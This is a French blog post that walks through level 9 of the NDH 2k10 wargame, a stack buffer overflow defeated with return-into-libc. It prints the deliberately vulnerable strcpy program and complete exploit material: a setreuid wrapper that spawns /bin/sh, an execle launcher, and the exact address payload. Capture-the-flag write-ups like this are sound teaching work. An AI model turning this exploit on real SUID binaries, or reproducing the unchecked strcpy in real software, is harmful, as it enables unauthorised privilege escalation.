raisep0wn

Geek Stuff & IT Security

NDH 2k10 Public WarGame level9

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level9 level9.c -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level9

void sayHello(char *tmp)
{
char login[50];

strcpy(login, tmp);
printf("Hi %s !\n", login);
}

int main(int argc, char *argv[])
{
if(argc < 2) {
printf("Empty login! \n");
exit(-1);
}
sayHello(argv[1]);

exit(0);
}

Le challenge 9 ressemble beaucoup level7, toutefois le stack-canary qui permettait de détecter le buffer overflow a été remplacé par l’utilisation de GRsecurity. La commande paxctl -c -Spermx permet d’activer le mode SEGMEXEC de PaX (Protection against Execution). Il s’agit d’une implémentation logicielle du bit NX des architectures IA-32, qui permet d’empêcher l’exécution de code sur les segments de données. Nous considérerons donc pour le challenge que la pile n’est pas exécutable, même si en réalités un exploit comme celui du level7 fonctionne très bien sur le serveur. L’astuce, qui porte le nom de return into libc, va consister à écraser EIP afin de rediriger le flux d’exécution vers une fonction de la libc (ou autre) qui pourrait nous être utile. C’est fonctions étant dans des segments de code, elles sont a fortiori exécutable. Nous pourrions par exemple exécuter la fonction system() en prenant soin de bien positionner les arguments sur la pile afin d’exécuter par exemple un shell. Cependant, en procédant ainsi nous perdons les privilèges fourni par le bit SUID. Nous passerons donc par l’exécution d’un wrapper afin de maintenir explicitement les privilèges détournés.

Le code source du wrapper :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[])
{
int euid = geteuid();
setreuid(euid, euid);
execv("/bin/sh", (char *)0);
}

Le code source de l’exploit :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char target_path[] = "/home/level9/level9";
char *env[] = {"/tmp/wrapper", (char *)0};

int main(int argc, char* argv[])
{
if(!execle(target_path, target_path, argv[1], (char *)0, env))
{
perror("Unable to execute target.");
exit(1);
}
}

La chaine passée en argument à l’exploit contient les adresses des fonction utilisées (execv, et exit) ainsi que leurs arguments : 0xbfffffdb pour la chaine « /tmp/wrapper » et 0xbffffffc pour un pointeur vers une chaine vide.

"$(python -c "print '-'*54+ '\x20\x8e\xf2\xb7' + '\xa0\xd7\xeb\xb7' + '\xdb\xff\xff\xbf' + '\xfc\xff\xff\xbf'")"

Références :

Publicités

Written by Ralph

28/05/2011 à 08:02

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s

%d blogueurs aiment cette page :